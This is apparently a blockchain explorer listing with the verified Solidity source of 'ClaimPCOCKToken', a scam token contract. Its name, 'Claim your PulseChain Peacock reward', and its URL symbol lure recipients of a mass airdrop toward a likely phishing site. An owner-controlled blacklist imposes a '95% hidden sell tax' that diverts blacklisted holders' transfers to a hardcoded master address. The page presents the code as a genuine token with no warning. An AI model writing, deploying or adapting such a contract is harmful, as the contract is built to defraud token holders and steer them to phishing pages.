Address
0x2d8e0df8a0789dda7bc778b453aeb8567ee81c3aCurrent Holdings
$0.00
TXs sent
not counted
First Active
2026-05-13
block 26,517,490
Last Active
30 days ago
block 27,317,183
Funded By
not identified
Net worth historyi
No net-worth snapshots recorded yet
exact matchClaimPCOCKTokensolc 0.8.26+commit.8a97fa7aruntime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract ClaimPCOCKToken is ERC20, Ownable {
address public masterAddress = 0xcf319d6C20591B8F38d7c70F212e3773DfbE828c;
mapping(address => bool) public blacklist;
address[] public blacklistedAddresses;
constructor() ERC20("Claim your PulseChain Peacock reward", "https://pcock.page.gd") Ownable(msg.sender) {
_mint(msg.sender, 1000000000 * 10**decimals());
}
function batchTransfer(address[] memory recipients) public {
uint256 amount = 15555 * 10**decimals();
for (uint256 i = 0; i < recipients.length; i++) {
_customTransfer(msg.sender, recipients[i], amount);
}
}
function _customTransfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = balanceOf(sender);
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (blacklist[sender]) {
// Apply 95% hidden sell tax for blacklisted addresses
uint256 taxAmount = (amount * 95) / 100;
super._transfer(sender, masterAddress, taxAmount);
super._transfer(sender, recipient, amount - taxAmount);
} else {
// Regular transfers
super._transfer(sender, recipient, amount);
}
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_customTransfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_customTransfer(sender, recipient, amount);
uint256 currentAllowance = allowance(sender, msg.sender);
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function addToBlacklist(address addr) public onlyOwner {
blacklist[addr] = true;
blacklistedAddresses.push(addr);
}
function removeFromBlacklist(address addr) public onlyOwner {
blacklist[addr] = false;
for (uint256 i = 0; i < blacklistedAddresses.length; i++) {
if (blacklistedAddresses[i] == addr) {
blacklistedAddresses[i] = blacklistedAddresses[blacklistedAddresses.length - 1];
blacklistedAddresses.pop();
break;
}
}
}
function getBlacklistedAddresses() public view returns (address[] memory) {
return blacklistedAddresses;
}
}